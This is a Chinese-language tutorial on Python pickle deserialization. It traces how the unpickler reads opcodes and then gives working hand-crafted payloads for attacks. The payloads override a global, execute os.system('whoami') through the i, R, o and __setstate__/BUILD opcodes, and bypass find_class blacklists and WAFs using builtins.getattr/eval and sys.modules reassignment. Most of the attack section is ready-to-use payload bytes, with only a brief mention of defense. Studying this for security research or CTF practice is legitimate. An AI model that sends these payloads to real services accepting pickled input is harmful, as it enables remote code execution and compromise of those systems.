pickle.dump()方法可以将对象序列化。
import pickle
class animal:
def __init__(self,animal):
self.animal=animal
test=pickle.dumps(animal("dog"))
print(test)
b'\x80\x03c__main__\nanimal\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00animalq\x03X\x03\x00\x00\x00dogq\x04sb.'
使用pickle.loads()方法反序列化字符串,查看一下loads方法的源码。
def _loads(s, *, fix_imports=True, encoding="ASCII", errors="strict"): if isinstance(s, str): raise TypeError("Can't load pickle from unicode string") file = io.BytesIO(s) return _Unpickler(file, fix_imports=fix_imports, encoding=encoding, errors=errors).load()
跟进_Unpickler类的load方法,重点在下面这一段代码:
在dispatch字典中以opcode=>function
的行式存放了许多方法,程序从序列化字符串中读取数据(opcode),程序通过opcode索引执行对应的方法.。
try: while True: key = read(1) if not key: raise EOFError assert isinstance(key, bytes_types) dispatch[key[0]](self) except _Stop as stopinst: return stopinst.value
拿上面的序列化字符串当作例子,逐步分析整个序列化过程。
第一步:读取到\x80
,通过dispatch字典索引,调用load_proto方法(接下来不再将函数贴出来,推荐自己配合源码阅读)
def load_proto(self): proto = self.read(1)[0] if not 0 <= proto <= HIGHEST_PROTOCOL: raise ValueError("unsupported pickle protocol: %d" % proto) self.proto = proto
程序继续读取一个字节,读取到\x03
,它的意思是:这是一个根据三号协议序列化的字符串。
第二部:读取到c
(GLOBAL操作码) ,程序往前读取两行字符串,获取域名空间与类名module=__main__,name=animal
,调用find_class函数获取到animal对象,并压入栈stack中。
stack:[<class '__main__.animal'>]
第三步:读取到q
(binput操作码),继续读取下一个字节为0,对应的操作为:将stack中栈尾的数据保存到memo字典中的0号位置(可以理解为逐步保存stack中的数据,方便之后调用)。
第四步:读取到)
(EMPTY_TUPLE操作码),往栈中压入空的元组。
stack:[<class '__main__.animal'>,()]
第五步:读取到\x81
(NEW_OBJ),弹出()
赋值给args,然后再弹出<class '__main__.animal'>
赋值给cls,在这里是animal对象,之后用cls.__new__(cls,*args)
实例化该对象并压入栈中,在这里args为空,所以栈中任然是一个空的animal对象。
stack:[<class '__main__.animal'>]
第六步:读取到q\x01
将上面实例化的对象保存到memo[1]中。
第七步:读取到}
,往栈中压入空的字典。
stack:[<class '__main__.animal'>,{}]
第八步:读取到q\x02
将该字典存到memo[2]中。
第九步:读取到X
继续向前读取四个字节代表字符串长度,\x06\x00\x00\x00
获得字符串长度为6,接着继续往后读取六个字符animal
,存入栈中。
stack:[<class '__main__.animal'>,{},animal]
第九步:读取到q\x03
将上面的字符串保存到memo[3]中。
第十步:继续向前提取出dog
并保存到memo[4]中。
stack:[<class '__main__.animal'>,{},animal,dog]
第十一步:读取到s
(SETITEM操作符),弹出数据作为值,再弹出数据作为健,最后弹出一个数据 (一定要是字典类型) ,以键值对的形式将数据存入该字典中,{'animal':'dog'}`,并入栈。
stack:[<class '__main__.animal'>,{'animal':'dog'}]
第十二步:读取到b
(BUILD操作符),从栈中弹出字典类型的数据赋值给state,弹出<class '__main__.animal'>
赋值给inst,如果inst中存在__setstate__
方法,则直接用setstate来处理statesetstate(state)
,如果不存在,则直接将state存入inst.__dict__
中。
第十三步:读取到.
,结束反序列化。
从上面的反序列化过程我们可以看出,python的反序列化过程是完全可控的,接下来介绍几种常用的利用技巧。
在碰到s
操作码时,会弹出两个字符串作为键值对保存到字典中,我们可以通过c
操作码来得到secret.best,再使animal=secret.best
,这样就成功引入了全局变量。
import pickle import secret class animal: def __init__(self): self.animal="dog" def check(self): if self.animal==secret.best: print("good!") code="your code" pickle.loads(code)
payload=b'\x80\x03c__main__\nanimal\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00animalq\x03csecret\nbest\nq\x04sb.'
c
操作符是通过调用find_class方法来获取对象,而find_class使用sys.modules[module],name)
来获取到相应的属性,sys.modules是一个全局字典,该字典是python启动后就加载在内存中。每导入新的模块,sys.modules会将该模块导入字典中。
在上述代码中,导入了secret模块,所以我们可以通过c
操作符获取到secret模块并对secret.best进行重构,再基于此构造animal类。
payload=b'\x80\x03c__main__\nsecret\nq\x00q\x01}X\x04\x00\x00\x00bestX\x03\x00\x00\x00dogsb0c__main__\nanimal\n)\x81}X\x06\x00\x00\x00animalX\x03\x00\x00\x00dogsb.'
与函数执行有关的操作码有r,i,o,b
i
操作码i
操作码的代码如下:
def load_inst(self): module = self.readline()[:-1].decode("ascii") name = self.readline()[:-1].decode("ascii") klass = self.find_class(module, name) self._instantiate(klass, self.pop_mark()) dispatch[INST[0]] = load_inst
首先通过find_class获得方法,然后通过pop_mark获得参数,并调用_instantiate函数来执行,并将执行的结果存入栈中。
def pop_mark(self): items = self.stack self.stack = self.metastack.pop() self.append = self.stack.append return items
相关操作是获取当前栈上的内容,然后将弹出前序栈重新赋值给当前栈,然后返回item作为参数。
所以我们首先用(
操作符将当前栈stack中的内容存到前序栈中,通过i
操作符获取到os.system
并执行whoami指令。
payload=b'(X\x06\x00\x00\x00whoamiios\nsystem\n.'
成功执行os.system('whoami')。
R
操作码R操作码的代码如下。
def load_reduce(self): stack = self.stack args = stack.pop() func = stack[-1] stack[-1] = func(*args) dispatch[REDUCE[0]] = load_reduce
分析一下,弹栈作为参数(必须是元组),将栈中最后一个数据作为函数,并用执行结果将函数覆盖。
所以可以这么构造cos\nsystem\nX\x06\x00\x00\x00whoami\x85R
,\x85
的作用是 将栈中最后一个数据变成元组重新入栈。
stack:[<built-in function system>,(whoami)]
成功执行os.system('whoami')。
payload=b'cos\nsystem\nX\x06\x00\x00\x00whoami\x85R.'
o
操作码o操作码的代码如下:
def load_obj(self): # Stack is ... markobject classobject arg1 arg2 ... args = self.pop_mark() cls = args.pop(0) self._instantiate(cls, args) dispatch[OBJ[0]] = load_obj
o操作码将函数与参数弹栈后,直接交给_instantiate执行,并将执行结果存入栈中。
payload=b'(cos\nsystem\nX\x06\x00\x00\x00whoamio.'
b
操作码在b操作码执行过程中,如果碰到自定义的__setstate__
,就会执行以下代码。
setstate = getattr(inst, "__setstate__", None) if setstate is not None: setstate(state) return
如果存在__setstate__
方法,就直接执行setstate方法,所以可以通过构造__setstate__
来进行任意函数执行。
payload=b'\x80\x03c__main__\nanimal\n)\x81}X\x0C\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.'
首先利用{'__setstate__': os.system}
来BUILE一次animal对象,然后用whoami
再次进行构造,由于存在__setstate__
方法,此时state为whoami
,所以成功执行os.system('whoami')。
目前主要的漏洞利用都是通过find_class引入os.system等函数函数,所以可以通过重写fine_class添加黑名单等限制,来保护自己的程序。
可以使用builtins模块构造getattr函数,不再经过find_class,就能绕过WAF实现任意函数执行。
R操作码 payload=b'\x80\x03cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00get\x86Rp2\n0g2\ncbuiltins\nglobals\n)RX\x0C\x00\x00\x00__builtins__\x86Rp3\n0g0\ng3\nX\x04\x00\x00\x00eval\x86Rp4\n0g4\nX\x21\x00\x00\x00__import__("os").system("whoami")\x85R.'
o操作码:payload=b'\x80\x03(cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00getop2\n0(g2\n(cbuiltins\nglobals\noX\x0C\x00\x00\x00__builtins__op3\n(g0\ng3\nX\x04\x00\x00\x00evalop4\n(g4\nX\x21\x00\x00\x00__import__("os").system("whoami")o.'
通过builtins模块构造getattr,获得dict类的get方法,使用get方法取得__builtins__
字典中的eval函数,然后使用__import__
函数的导入os,成功执行os.system("whoami")。
之前说过find_class使用sys.modules[module],name)
来引入模块,但是sys自身也在sys.modules中,所以通过s操作符使sys.modules['sys']=sys.modules,sys模块也就变成了sys.modules模块,然后引入sys.modules中的get方法,取得sys.modules字典中的os模块,再使用s操作符使sys.modules['sys']=os,当前sys模块就变成了os模块,最后成功执行os.system("whoami")。
R操作码 payload=b'csys\nmodules\np0\nX\x03\x00\x00\x00sysg0\nscsys\nget\np1\ng1\nX\x02\x00\x00\x00os\x85Rp2\ng0\nX\x03\x00\x00\x00sysg2\nscsys\nsystem\nX\x06\x00\x00\x00whoami\x85R.'
o操作码 payload=b'csys\nmodules\np0\nX\x03\x00\x00\x00sysg0\ns(csys\nget\np1\nX\x02\x00\x00\x00osop2\ng0\nX\x03\x00\x00\x00sysg2\ns(csys\nsystem\nX\x06\x00\x00\x00whoamio.'